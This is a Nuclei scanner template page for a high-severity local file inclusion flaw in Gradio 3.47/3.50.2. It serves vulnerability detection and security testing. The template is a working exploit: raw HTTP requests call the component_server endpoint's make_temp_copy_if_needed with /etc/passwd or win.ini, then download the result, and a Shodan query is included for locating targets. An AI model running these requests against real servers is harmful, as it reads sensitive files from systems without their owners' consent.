Skip to content

Gradio 3.47/3.50.2 - Local File Inclusion

ID: gradio-lfi

Severity: high

Author: nvn1729

Tags: cve,cve2024,intrusive,unauth,gradio,lfi,lfr

Local file read by calling arbitrary methods of Components class between Gradio versions 3.47 / 3.50.2

id: gradio-lfi
info:
name: Gradio 3.47/3.50.2 - Local File Inclusion
author: nvn1729
severity: high
description: |
Local file read by calling arbitrary methods of Components class between Gradio versions 3.47 / 3.50.2
reference:
- https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2
- https://www.horizon3.ai/attack-research/disclosures/exploiting-file-read-vulnerabilities-in-gradio-to-steal-secrets-from-hugging-face-spaces/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
epss-percentile: 0.36659
cpe: cpe:2.3:a:gradio_project:gradio:*:*:*:*:python:*:*:*
metadata:
verified: true
max-request: 2
shodan-query: html:"__gradio_mode__"
product: gradio
vendor: gradio_project
tags: cve,cve2024,intrusive,unauth,gradio,lfi,lfr
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
GET /component_server HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_any(tolower(body), "content=\"gradio", "gradio_mode", "gradio-app", "https://gradio.app")'
- 'contains(tolower(body), "\"method not allowed")'
condition: or
internal: true
- raw:
- |
POST /component_server HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"component_id": "{{fuzz_component_id}}", "data": "{{path}}", "fn_name": "make_temp_copy_if_needed", "session_hash": "aaaaaaaaaaa"}
- |
GET /file={{download_path}} HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
name: download_path
internal: true
group: 1
regex:
- "\"?([^\"]+)"
attack: clusterbomb
payloads:
fuzz_component_id: helpers/wordlists/numbers.txt
path:
- /etc/passwd
- c:\\windows\\win.ini
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
part: body_2
regex:
- "root:.*:0:0:"
- "\\[(font|extension|file)s\\]"
condition: or
- type: status
status:
- 200
# digest: 4a0a004730450221009a000e16a75bee5fabcaf424bc6a4ef85edb5554dec6737c24637259b95fdda902200a2197986cc155b93aeb2031ed6b9b739ca870bc9ea168098e5aa9161dc2eb89:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/gradio/gradio-lfi.yaml"

View on Github